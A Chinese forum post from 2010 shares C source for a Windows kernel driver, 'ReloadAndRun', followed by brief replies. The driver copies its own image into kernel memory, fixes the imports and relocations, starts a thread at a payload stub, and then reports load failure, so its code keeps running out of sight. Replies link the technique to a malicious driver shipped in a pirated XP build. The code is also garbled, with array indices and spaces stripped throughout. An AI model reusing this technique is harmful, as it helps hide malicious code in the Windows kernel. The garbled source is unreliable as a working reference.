传说中的ReloadAndRun
本帖最后由 乔丹二世 于 2010-12-14 16:07 编辑从某人的内部博客里看到的~发出来~
#include <stdio.h>
#include <ntddk.h>
#ifdef DEBUG
#define DbgMsg DbgPrint
#else
#define DbgMsg
#endif
typedef struct _IMAGE_DOS_HEADER
{ // DOS .EXE header
USHORTe_magic; // Magic number
USHORTe_cblp; // Bytes on last page of file
USHORTe_cp; // Pages in file
USHORTe_crlc; // Relocations
USHORTe_cparhdr; // Size of header in paragraphs
USHORTe_minalloc; // Minimum extra paragraphs needed
USHORTe_maxalloc; // Maximum extra paragraphs needed
USHORTe_ss; // Initial (relative) SS value
USHORTe_sp; // Initial SP value
USHORTe_csum; // Checksum
USHORTe_ip; // Initial IP value
USHORTe_cs; // Initial (relative) CS value
USHORTe_lfarlc; // File address of relocation table
USHORTe_ovno; // Overlay number
USHORTe_res; // Reserved USHORTs
USHORTe_oemid; // OEM identifier (for e_oeminfo)
USHORTe_oeminfo; // OEM information; e_oemid specific
USHORTe_res2; // Reserved USHORTs
LONGe_lfanew; // File address of new exe header
} IMAGE_DOS_HEADER,
*PIMAGE_DOS_HEADER;
typedef struct _IMAGE_DATA_DIRECTORY
{
ULONGVirtualAddress;
ULONGSize;
} IMAGE_DATA_DIRECTORY,
*PIMAGE_DATA_DIRECTORY;
#define IMAGE_NUMBEROF_DIRECTORY_ENTRIES 16
typedef struct _IMAGE_OPTIONAL_HEADER
{
//
// Standard fields.
//
USHORT Magic;
UCHAR MajorLinkerVersion;
UCHAR MinorLinkerVersion;
ULONGSizeOfCode;
ULONGSizeOfInitializedData;
ULONGSizeOfUninitializedData;
ULONGAddressOfEntryPoint;
ULONGBaseOfCode;
ULONGBaseOfData;
//
// NT additional fields.
//
ULONGImageBase;
ULONGSectionAlignment;
ULONGFileAlignment;
USHORT MajorOperatingSystemVersion;
USHORT MinorOperatingSystemVersion;
USHORT MajorImageVersion;
USHORT MinorImageVersion;
USHORT MajorSubsystemVersion;
USHORT MinorSubsystemVersion;
ULONGWin32VersionValue;
ULONGSizeOfImage;
ULONGSizeOfHeaders;
ULONGCheckSum;
USHORT Subsystem;
USHORT DllCharacteristics;
ULONGSizeOfStackReserve;
ULONGSizeOfStackCommit;
ULONGSizeOfHeapReserve;
ULONGSizeOfHeapCommit;
ULONGLoaderFlags;
ULONGNumberOfRvaAndSizes;
IMAGE_DATA_DIRECTORY DataDirectory;
} IMAGE_OPTIONAL_HEADER32,
*PIMAGE_OPTIONAL_HEADER32;
typedef struct _IMAGE_FILE_HEADER
{
USHORT Machine;
USHORT NumberOfSections;
ULONGTimeDateStamp;
ULONGPointerToSymbolTable;
ULONGNumberOfSymbols;
USHORT SizeOfOptionalHeader;
USHORT Characteristics;
} IMAGE_FILE_HEADER,
*PIMAGE_FILE_HEADER;
typedef struct _IMAGE_NT_HEADERS
{
ULONG Signature;
IMAGE_FILE_HEADER FileHeader;
IMAGE_OPTIONAL_HEADER32 OptionalHeader;
} IMAGE_NT_HEADERS,
*PIMAGE_NT_HEADERS;
#define IMAGE_DIRECTORY_ENTRY_EXPORT 0// Export Directory
#define IMAGE_DIRECTORY_ENTRY_IMPORT 1// Import Directory
#define IMAGE_DIRECTORY_ENTRY_RESOURCE 2// Resource Directory
#define IMAGE_DIRECTORY_ENTRY_EXCEPTION 3// Exception Directory
#define IMAGE_DIRECTORY_ENTRY_SECURITY 4// Security Directory
#define IMAGE_DIRECTORY_ENTRY_BASERELOC 5// Base Relocation Table
#define IMAGE_DIRECTORY_ENTRY_DEBUG 6// Debug Directory
#define IMAGE_DIRECTORY_ENTRY_ARCHITECTURE 7// Architecture Specific Data
#define IMAGE_DIRECTORY_ENTRY_GLOBALPTR 8// RVA of GP
#define IMAGE_DIRECTORY_ENTRY_TLS 9// TLS Directory
#define IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG 10// Load Configuration Directory
#define IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT11// Bound Import Directory in headers
#define IMAGE_DIRECTORY_ENTRY_IAT 12// Import Address Table
#define IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT13// Delay Load Import Descriptors
#define IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR 14// COM Runtime descriptor
typedef struct _IMAGE_BASE_RELOCATION
{
ULONGVirtualAddress;
ULONGSizeOfBlock;
} IMAGE_BASE_RELOCATION;
typedef IMAGE_BASE_RELOCATION UNALIGNED * PIMAGE_BASE_RELOCATION;
typedef struct _IMAGE_IMPORT_DESCRIPTOR
{
union {
ULONGCharacteristics; // 0 for terminating null import descriptor
ULONGOriginalFirstThunk; // RVA to original unbound IAT (PIMAGE_THUNK_DATA)
};
ULONGTimeDateStamp; // 0 if not bound,
// -1 if bound, and real date\time stamp
// in IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT (new BIND)
// O.W. date/time stamp of DLL bound to (Old BIND)
ULONGForwarderChain; // -1 if no forwarders
ULONGName;
ULONGFirstThunk; // RVA to IAT (if bound this IAT has actual addresses)
} IMAGE_IMPORT_DESCRIPTOR;
typedef IMAGE_IMPORT_DESCRIPTOR UNALIGNED *PIMAGE_IMPORT_DESCRIPTOR;
typedef struct _IMAGE_THUNK_DATA32
{
union {
ULONG ForwarderString; // PBYTE
ULONG Function; // PDWORD
ULONG Ordinal;
ULONG AddressOfData; // PIMAGE_IMPORT_BY_NAME
} u1;
} IMAGE_THUNK_DATA32;
typedef IMAGE_THUNK_DATA32 *PIMAGE_THUNK_DATA32;
typedef struct _IMAGE_IMPORT_BY_NAME
{
USHORT Hint;
UCHAR Name;
} IMAGE_IMPORT_BY_NAME,
*PIMAGE_IMPORT_BY_NAME;
typedef struct _IMAGE_EXPORT_DIRECTORY
{
ULONGCharacteristics;
ULONGTimeDateStamp;
USHORT MajorVersion;
USHORT MinorVersion;
ULONGName;
ULONGBase;
ULONGNumberOfFunctions;
ULONGNumberOfNames;
ULONGAddressOfFunctions; // RVA from base of image
ULONGAddressOfNames; // RVA from base of image
ULONGAddressOfNameOrdinals;// RVA from base of image
} IMAGE_EXPORT_DIRECTORY,
*PIMAGE_EXPORT_DIRECTORY;
#define IMAGE_DIRECTORY_ENTRY_EXPORT 0
PVOID
RtlImageDirectoryEntryToData(
IN PVOID Base,
IN BOOLEAN MappedAsImage,
IN USHORT DirectoryEntry,
OUT PULONG Size
);
typedef struct _SYSTEM_MODULE
{
ULONG Reserved;
ULONG Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT Unknown;
USHORT LoadCount;
USHORT ModuleNameOffset;
CHAR ImageName;
} SYSTEM_MODULE,
*PSYSTEM_MODULE;
typedef struct _SYSTEM_MODULE_INFORMATION
{
ULONG uCount;
SYSTEM_MODULE aSM[];
} SYSTEM_MODULE_INFORMATION,
*PSYSTEM_MODULE_INFORMATION;
typedef enum _SYSTEMINFOCLASS
{
SystemBasicInformation, // 0x002C
SystemProcessorInformation, // 0x000C
SystemPerformanceInformation, // 0x0138
SystemTimeInformation, // 0x0020
SystemPathInformation, // not implemented
SystemProcessInformation, // 0x00C8+ per process
SystemCallInformation, // 0x0018 + (n * 0x0004)
SystemConfigurationInformation, // 0x0018
SystemProcessorCounters, // 0x0030 per cpu
SystemGlobalFlag, // 0x0004 (fails if size != 4)
SystemCallTimeInformation, // not implemented
SystemModuleInformation, // 0x0004 + (n * 0x011C)
SystemLockInformation, // 0x0004 + (n * 0x0024)
SystemStackTraceInformation, // not implemented
SystemPagedPoolInformation, // checked build only
SystemNonPagedPoolInformation, // checked build only
SystemHandleInformation, // 0x0004+ (n * 0x0010)
SystemObjectTypeInformation, // 0x0038+ + (n * 0x0030+)
SystemPageFileInformation, // 0x0018+ per page file
SystemVdmInstemulInformation, // 0x0088
SystemVdmBopInformation, // invalid info class
SystemCacheInformation, // 0x0024
SystemPoolTagInformation, // 0x0004 + (n * 0x001C)
SystemInterruptInformation, // 0x0000, or 0x0018 per cpu
SystemDpcInformation, // 0x0014
SystemFullMemoryInformation, // checked build only
SystemLoadDriver, // 0x0018, set mode only
SystemUnloadDriver, // 0x0004, set mode only
SystemTimeAdjustmentInformation, // 0x000C, 0x0008 writeable
SystemSummaryMemoryInformation, // checked build only
SystemNextEventIdInformation, // checked build only
SystemEventIdsInformation, // checked build only
SystemCrashDumpInformation, // 0x0004
SystemExceptionInformation, // 0x0010
SystemCrashDumpStateInformation, // 0x0004
SystemDebuggerInformation, // 0x0002
SystemContextSwitchInformation, // 0x0030
SystemRegistryQuotaInformation, // 0x000C
SystemAddDriver, // 0x0008, set mode only
SystemPrioritySeparationInformation,// 0x0004, set mode only
SystemPlugPlayBusInformation, // not implemented
SystemDockInformation, // not implemented
SystemPowerInfo, // 0x0060 (XP only!)
SystemProcessorSpeedInformation, // 0x000C (XP only!)
SystemTimeZoneInformation, // 0x00AC
SystemLookasideInformation, // n * 0x0020
SystemSetTimeSlipEvent,
SystemCreateSession, // set mode only
SystemDeleteSession, // set mode only
SystemInvalidInfoClass1, // invalid info class
SystemRangeStartInformation, // 0x0004 (fails if size != 4)
SystemVerifierInformation,
SystemAddVerifier,
SystemSessionProcessesInformation, // checked build only
MaxSystemInfoClass
} SYSTEMINFOCLASS,
*PSYSTEMINFOCLASS;
NTSYSAPI
NTSTATUS
NTAPI
ZwQuerySystemInformation(
ULONG SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
typedef struct _LDR_DATA_TABLE_ENTRY
{
LIST_ENTRY LoadOrder;
LIST_ENTRY MemoryOrder;
LIST_ENTRY InitOrder;
PVOID ModuleBaseAddress;
PVOID EntryPoint;
ULONG ModuleSize;
UNICODE_STRING FullModuleName;
UNICODE_STRING ModuleName;
ULONG Flags;
USHORT LoadCount;
USHORT TlsIndex;
union {
LIST_ENTRY Hash;
struct {
PVOID SectionPointer;
ULONG CheckSum;
};
};
ULONGTimeStamp;
} LDR_DATA_TABLE_ENTRY,
*PLDR_DATA_TABLE_ENTRY;
PVOID KernelGetProcAddress(PVOID ModuleBase, char *pFunctionName)
{
PVOID pFunctionAddress = NULL;
PIMAGE_EXPORT_DIRECTORY exports;
ULONG i, addr, ord, size = 0;
PULONG names, functions;
PSHORT ordinals;
if (ModuleBase == NULL)
return NULL;
__try
{
exports = (PIMAGE_EXPORT_DIRECTORY)RtlImageDirectoryEntryToData(ModuleBase,
TRUE, IMAGE_DIRECTORY_ENTRY_EXPORT, &size);
addr = (ULONG)exports - (ULONG)ModuleBase;
functions = (PULONG)((ULONG)ModuleBase + exports->AddressOfFunctions);
ordinals= (PSHORT)((ULONG)ModuleBase + exports->AddressOfNameOrdinals);
names = (PULONG)((ULONG)ModuleBase + exports->AddressOfNames);
for (i = 0; i < exports->NumberOfNames; i++)
{
ord = ordinals;
if (i >= exports->NumberOfNames || ord >= exports->NumberOfFunctions)
return NULL;
if (functions < addr || functions >= addr + size)
{
if (strcmp((char *)((ULONG)ModuleBase + names), pFunctionName)== 0)
{
pFunctionAddress =(PVOID)((ULONG)ModuleBase + functions);
break;
}
}
}
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
DbgMsg("KernelGetProcAddress() EXEPTION\n");
pFunctionAddress = NULL;
}
return pFunctionAddress;
}
PVOID GetSysInf(SYSTEMINFOCLASS pdData)
{
NTSTATUS ns;
ULONG dSize = 4096;
ULONG dData = 0;
PVOID shi;
do {
shi = ExAllocatePool(NonPagedPool, dSize);
if (shi == NULL) return 0;
ns = ZwQuerySystemInformation(pdData, shi, dSize, &dData);
if (ns == STATUS_INFO_LENGTH_MISMATCH)
{
ExFreePool(shi);
dSize *= 2;
}
} while (ns != 0);
return shi;
}
PVOID KernelGetModuleBase(char *pModuleName)
{
PVOID pModuleBase = NULL;
ULONG i;
PSYSTEM_MODULE_INFORMATION ModulesInfo = (PSYSTEM_MODULE_INFORMATION)GetSysInf(SystemModuleInformation);
if (ModulesInfo == NULL)
return NULL;
if (!strcmp(pModuleName, "ntoskrnl.exe"))
{
pModuleBase = (PVOID)ModulesInfo->aSM.Base;
} else {
for (i = 0; i < ModulesInfo->uCount; i++)
{
if (strstr(ModulesInfo->aSM.ImageName, pModuleName))
pModuleBase = (PVOID)ModulesInfo->aSM.Base;
}
}
ExFreePool(ModulesInfo);
return pModuleBase;
}
#define RVATOVA(base,offset)(((ULONG)(base)+(ULONG)(offset)))
BOOLEAN ProcessImports(ULONG ImageBase)
{
IMAGE_THUNK_DATA32 *pThunk;
PVOID LibAddr;
char *LibName, *FuncName;
PIMAGE_IMPORT_BY_NAME pImageImportByName;
ULONG FuncAddr;
__try
{
PIMAGE_NT_HEADERS pImageNtHeaders = (PIMAGE_NT_HEADERS)
(ImageBase + ((PIMAGE_DOS_HEADER)ImageBase)->e_lfanew);
PIMAGE_IMPORT_DESCRIPTOR pImageImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(RVATOVA(ImageBase,
pImageNtHeaders->OptionalHeader.DataDirectory.VirtualAddress));
while (pImageImportDescriptor->Name != 0)
{
LibName = (char *)RVATOVA(ImageBase, pImageImportDescriptor->Name);
LibAddr = KernelGetModuleBase(LibName);
if (LibAddr == NULL)
return FALSE;
DbgMsg("0x%.8x:%s\n", LibAddr, LibName);
pThunk = (IMAGE_THUNK_DATA32 *)RVATOVA(ImageBase, pImageImportDescriptor->FirstThunk);
while (pThunk->u1.Ordinal != 0)
{
pImageImportByName = (PIMAGE_IMPORT_BY_NAME)RVATOVA(ImageBase, pThunk->u1.AddressOfData);
FuncName = (char *)(&pImageImportByName->Name);
FuncAddr = (ULONG)KernelGetProcAddress(LibAddr, FuncName);
DbgMsg(" 0x%.8x:%s\n", FuncAddr, FuncName);
if (FuncAddr == 0)
return FALSE;
*(PULONG)pThunk = FuncAddr;
pThunk++;
}
pImageImportDescriptor++;
}
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
DbgMsg("ProcessImports() EXEPTION\n");
return FALSE;
}
return TRUE;
}
BOOLEAN ProcessRelocs(ULONG ImageBase)
{
__try
{
PIMAGE_NT_HEADERS pImageNtHeaders = (PIMAGE_NT_HEADERS)
(ImageBase + ((PIMAGE_DOS_HEADER)ImageBase)->e_lfanew);
ULONG RellocsSize = pImageNtHeaders->OptionalHeader.DataDirectory.Size;
PIMAGE_BASE_RELOCATION pImageBaseRelocation = (PIMAGE_BASE_RELOCATION)(RVATOVA(ImageBase,
pImageNtHeaders->OptionalHeader.DataDirectory.VirtualAddress));
PIMAGE_BASE_RELOCATION pRelocation = pImageBaseRelocation;
ULONG ImageBaseDelta = ImageBase - pImageNtHeaders->OptionalHeader.ImageBase, Number, i, Size = 0;
PUSHORT Rel;
DbgMsg("pImageBaseRelocation: 0x%.8x; Size: %d\n", pImageBaseRelocation, RellocsSize);
while (RellocsSize > Size)
{
Size += pRelocation->SizeOfBlock;
Number = (pRelocation->SizeOfBlock - 8) / 2;
Rel = (PUSHORT)((ULONG)pRelocation + 8);
DbgMsg("VirtualAddress: 0x%.8x; Number of Relocs: %d; Size: %d\n", pRelocation->VirtualAddress,
Number, pRelocation->SizeOfBlock);
for (i = 0; i < Number - 1; i++)
{
DbgMsg(" %d:0x%.8x\n", i, Rel & 0x0FFF);
*(PULONG)(RVATOVA(ImageBase, pRelocation->VirtualAddress + (Rel & 0x0FFF))) += ImageBaseDelta;
}
pRelocation = (PIMAGE_BASE_RELOCATION)((ULONG)pImageBaseRelocation + Size);
}
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
DbgMsg("ProcessRelocs() EXEPTION\n");
return FALSE;
}
return TRUE;
}
void __stdcall MainFunc(PVOID param)
{
//some fuckable thing
return ;
}
PLDR_DATA_TABLE_ENTRY pModuleEntry;
PVOID AllocAndExec(void)
{
PIMAGE_NT_HEADERS pImageNtHeaders = (PIMAGE_NT_HEADERS)((ULONG)pModuleEntry->ModuleBaseAddress +
((PIMAGE_DOS_HEADER)pModuleEntry->ModuleBaseAddress)->e_lfanew);
ULONG ImageSize = pImageNtHeaders->OptionalHeader.SizeOfImage;
NTSTATUS ns;
OBJECT_ATTRIBUTES ObjAttr;
HANDLE hFile, hThread;
IO_STATUS_BLOCK StatusBlock;
PVOID pFunc;
PVOID pMem = (PVOID)ExAllocatePool(NonPagedPool, ImageSize);
if (pMem == NULL)
{
DbgMsg("ExAllocatePool() ERROR\n");
return NULL;
}
DbgMsg("%S Base: 0x%.8x; ImageSize: %d\n", pModuleEntry->FullModuleName.Buffer, pMem, ImageSize);
InitializeObjectAttributes(&ObjAttr, &pModuleEntry->FullModuleName,
OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE , NULL, NULL);
ns = ZwOpenFile(&hFile, FILE_READ_DATA | SYNCHRONIZE, &ObjAttr, &StatusBlock,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_SYNCHRONOUS_IO_NONALERT);
if (!NT_SUCCESS(ns))
{
DbgMsg("ZwOpenFile() FAILS; status: 0x%.8x\n", ns);
return NULL;
}
ns = ZwReadFile(hFile, 0, NULL, NULL, &StatusBlock, pMem, ImageSize, 0, NULL);
if (!NT_SUCCESS(ns))
{
DbgMsg("ZwReadFile() FAILS; status: 0x%.8x\n", ns);
} else {
if (!ProcessImports((ULONG)pMem) || !ProcessRelocs((ULONG)pMem))
{
ZwClose(hFile);
return NULL;
}
}
ZwClose(hFile);
pFunc = (PVOID)((ULONG)&MainFunc - (ULONG)pModuleEntry->ModuleBaseAddress + (ULONG)pMem);
DbgMsg("EP:0x%.8x\n", pFunc);
if (NT_SUCCESS(PsCreateSystemThread(&hThread, THREAD_ALL_ACCESS, NULL, NULL, NULL, pFunc, (PVOID)pModuleEntry)))
ZwClose(hThread);
else
DbgMsg("PsCreateSystemThread() FAILS\n");
return pMem;
}
NTSTATUS DriverEntry(
IN PDRIVER_OBJECTDriverObject,
IN PUNICODE_STRING RegistryPath)
{
pModuleEntry = (PLDR_DATA_TABLE_ENTRY)DriverObject->DriverSection;
AllocAndExec();
return STATUS_UNSUCCESSFUL;
}
reload and run?
早在2005年番茄花园XP中内置的一个恶意驱动就有用了。。。
这点东西也放到“内部博客”里?太搞了吧。。。
估计很多人早都知道了。。。 reload老技术了
页:
[1]